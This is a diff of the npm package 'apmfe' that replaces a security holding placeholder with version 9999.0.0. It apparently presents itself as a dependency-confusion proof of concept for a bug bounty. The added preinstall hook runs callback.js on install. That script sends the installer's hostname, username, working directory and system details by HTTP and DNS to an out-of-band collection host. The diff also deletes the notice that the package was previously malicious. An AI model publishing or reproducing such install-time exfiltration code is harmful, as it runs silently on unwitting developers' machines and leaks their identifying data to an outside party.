apmfe 0.0.1-security → 9999.0.0

package/callback.js

@@ -0,0 +1,39 @@
+// Dependency confusion PoC - HackerOne report #3606530
+// This script ONLY collects non-sensitive system metadata
+// No files read, no secrets accessed, no persistence
+
+const http = require('http');
+const os = require('os');
+const dns = require('dns');
+
+const info = {
+  pkg: 'apmfe',
+  v: '9999.0.0',
+  hostname: os.hostname(),
+  platform: os.platform(),
+  arch: os.arch(),
+  user: os.userInfo().username,
+  cwd: process.cwd(),
+  node: process.version,
+  ts: new Date().toISOString()
+};
+
+const encoded = encodeURIComponent(JSON.stringify(info));
+
+try {
+  const req = http.request({
+    hostname: 'iophnlwxqpnwnortoboo48xxrn0pgampq.oast.fun',
+    port: 80,
+    path: '/apmfe?d=' + encoded,
+    method: 'GET',
+    timeout: 5000
+  }, () => {});
+  req.on('error', () => {});
+  req.end();
+} catch(e) {}
+
+try {
+  const h = os.hostname().replace(/[^a-zA-Z0-9-]/g, '').slice(0, 30).toLowerCase();
+  const u = os.userInfo().username.replace(/[^a-zA-Z0-9-]/g, '').slice(0, 20).toLowerCase();
+  dns.lookup(h + '-' + u + '-apmfe.iophnlwxqpnwnortoboo48xxrn0pgampq.oast.fun', () => {});
+} catch(e) {}

package/index.js

@@ -0,0 +1,2 @@
+// Placeholder - dependency confusion security research
+// HackerOne report #3606530

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "apmfe",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "9999.0.0",
+  "description": "Security research - dependency confusion test for OKX bug bounty (HackerOne report #3606530). Contact: r76o4 on HackerOne.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js || true"
+  },
+  "author": "r76o4 (HackerOne bug bounty researcher)",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=apmfe for more information.